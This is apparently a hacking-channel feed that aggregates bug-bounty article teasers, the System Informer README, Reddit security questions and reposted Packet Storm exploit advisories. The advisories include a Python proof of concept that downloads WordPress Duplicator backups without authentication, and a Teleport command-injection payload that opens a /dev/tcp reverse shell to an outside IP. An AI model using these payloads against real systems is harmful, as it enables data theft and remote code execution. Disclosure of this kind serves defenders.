First Writeup — Broken Authentication and IDOR

Hello everyone, I hope you all are doing good. This is my first writeup and in this will be covering a finding of a simple IDOR.Continue reading on Medium »
Read more...

KitPloit - PenTest Tools!
System Informer - A Free, Powerful, Multi-Purpose Tool That Helps You Monitor System Resources, Debug Software And Detect Malware

https://blogger.googleusercontent.com/img/a/AVvXsEja7auFyDQuQXRIdVTWZGpfLuBVV3wWV8gi4NGf6nPMRFgXgH_r7bwZnvT17n7Ow32JI0hMVDR6EvASK7TVegYoUmRQYysiWRq0Y3JAn9vmxscaTmWncKD5BOGg5nmcsnz3Q1FOkNF_QR9v8AWgcr9XvjINNPilg4UYOvlZnmu_pfkbSuZGAClqH9QQ=w400-h400
System Informer

A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. Brought to you by Winsider Seminars & Solutions, Inc.

Project Website - Project Downloads
System requirements

Windows 7 or higher, 32-bit or 64-bit.

Features

* A detailed overview of system activity with highlighting.
* Graphs and statistics allow you quickly to track down resource hogs and runaway processes.
* Can't edit or delete a file? Discover which processes are using that file.
* See what programs have active network connections, and close them if necessary.
* Get real-time information on disk access.
* View detailed stack traces with kernel-mode, WOW64 and .NET support.
* Go beyond services.msc: create, edit and control services.
* Small, portable and no installation required.
* 100% Free Software (MIT)

Building the project

Requires Visual Studio (2022 or later).

Execute build_release.cmdlocated in the builddirectory to compile the project or load the SystemInformer.slnand Plugins.slnsolutions if you prefer building the project using Visual Studio.

You can download the free Visual Studio Community Edition to build the System Informer source code.

See the build readme for more information or if you're having trouble building.

Enhancements/Bugs

Please use the GitHub issue tracker for reporting problems or suggesting new features.

Settings

If you are running System Informer from a USB drive, you may want to save System Informer's settings there as well. To do this, create a blank file named "SystemInformer.exe.settings.xml" in the same directory as SystemInformer.exe. You can do this using Windows Explorer:

1. Make sure "Hide extensions for known file types" is unticked in Tools > Folder options > View.
2. Right-click in the folder and choose New > Text Document.
3. Rename the file to SystemInformer.exe.settings.xml (delete the ".txt" extension).

Plugins

Plugins can be configured from Options > Plugins.

If you experience any crashes involving plugins, make sure they are up to date.

Disk and Network information provided by the ExtendedTools plugin is only available when running System Informer with administrative rights.
Download Systeminformer

___________________________
@hacking_Attack
@Hacking_Video

First Writeup — Broken Authentication and IDOR
https://ma7moodbakr.medium.com/first-writeup-broken-authentication-and-idor-23b5a03eef89?source=rss------bug_bounty-5

Hello everyone, I hope you all are doing good. This is my first writeup and in this will be covering a finding of a simple IDOR.Continue reading on Medium » (https://ma7moodbakr.medium.com/first-writeup-broken-authentication-and-idor-23b5a03eef89?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hello All Hackers !! Here is a guide to get started with Bug Bounty
https://secrooq.medium.com/hello-all-hackers-here-is-a-guide-to-get-started-with-bug-bounty-204dde43c92?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A bug bounty program is a deal offered by many websites and software developers by which individuals can receive recognition and…Continue reading on Medium » (https://secrooq.medium.com/hello-all-hackers-here-is-a-guide-to-get-started-with-bug-bounty-204dde43c92?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
should I apply or not?

I saw a job post on LinkedIn by spaceX for a network engineering job... I have all the qualifications they have listed in the post. The problem is... I'm 14. So I don't know if I should apply or not (I don't think I'll be hired because of my age). The job is full-time and on-site. And it's 11,900km away from where I live. I don't think they will hire me + I don't think I should apply at this age. What do u guys think?

(Pls no hate 🙂)

submitted by /u/Aryangsuktekar
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
DoT vs DoH vs DoQ vs DNSCrypt vs DNSCurve

Which of the above protocols (or any other not mentioned) provide:

A) the most reliable and secure DNS encryption standard. Ideally which have been proven.

B) optimal anonymity

submitted by /u/Intelligent-Way1288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/7oiVIo1OlRGg5Tk69wbgDuazPDoxSuro4yHhn0Q7vLw.jpg submitted by /u/grymoire
[link] [comments]

hacking: security in practice
Repurposing IPad 2

Does anyone have any ideas on what I could do with an old IPad 2? It can’t be updated past iOS 9.3.5, so using it is rather pointless as many apps won’t run. Is there anything I can do with it? Hell I would love to have it for an OSRS tablet but I cant run anything on it. Was looking to toss Linux on it but I can’t seem to find much information on the process. I know QMole has some documentation but am curious of other peoples thoughts. Any cool ideas or simple ones just to get some use from it? Kind of wanting something to tinker with anyway. Thanks for suggestions

submitted by /u/Juiicybox
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Safe to access HTTPS sites using free public WiFi hotspot

Is it safe enough to log in and check Web mails (e.g. Gmail) if HTTPS is used?

Can a free public WiFi router/access point (assuming it is compromised/malicious) steal my email login/password?

submitted by /u/2048b
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Best RFID readers/writer

Does anyone have experience with good rfid/nfc cards readers/writers. Especially: -Ease to install/use -Price -Availability (preferably on Amazon) Thanks!

submitted by /u/MarwenJ
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Duplicator 1.4.7.2 Backup Disclosure

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
WordPress Duplicator plugin version 1.4.7.2 suffers from a backup disclosure vulnerability.

SHA-256 | 4b429acd0d9ab9938f8fc1e0f2d883938eed396e2695e2c2d455e519b5de3ad0

Download
## Title: WordPress Plugin Duplicator 1.4.7.2 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.23.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2

## Description:
The WordPress Plugin Duplicator 1.4.7.2 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7.1 version.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
from selenium import webdriver
import time
import os

print("Test if you can access the directory\n")
time.sleep(5)
os.system('curl http://pwned-host.com/wordpress/wp-content/backups-dup-lite/')
target=input("Give the name of the archive...\n")
driver = webdriver.Chrome()
driver.get('http://pwned-host.com/wordpress/wp-content/backups-dup-lite/'
+ target)

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2)

## Proof and Exploit:
[href](https://streamable.com/x0cvjh)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Teleport 9.3.6 Command Injection

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Teleport 9.3.6 is vulnerable to command injection leading to remote code execution. An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.

SHA-256 | 5228298638858e0e106cda75b65bd4c283027b5bc6dff934d99ebc3b59a112f7

Download
Description:Teleport 9.3.6 is vulnerable to Command injection leading to Remote
Code Execution. An attacker can craft a malicious ssh agent
installation link by URL encoding a bash escape with carriage return
line feed. This url encoded payload can be used in place of a token and
sent to a user in a social engineering attack. This is fully
unauthenticated attack utilizing the trusted teleport server to deliver
the payload.

Additional Information:https://goteleport.com/
https://github.com/gravitational/teleport
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633

Vulnerability Type: otherCommand injection leading to Remote Code Execution

Vendor of Product:Teleport - https://goteleport.com/
Affected software version: Teleport version < v10.1.2

Affected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam /dev/tcp/10.0.0.1/5555 0<&1&1 #

Patch information:https://goteleport.com/docs/changelog/#1012
https://github.com/gravitational/teleport/pull/14944
------------------------------------------

Discoverers:
Brandon Roach & Brian Landrum

------------------------------------------

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
10-Strike Network Inventory Explorer 9.3 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Broken Access Control

Broken Access Control vulnerabilities are common in modern applications since the design and implementation of access control mechanisms…Continue reading on Medium »
Read more...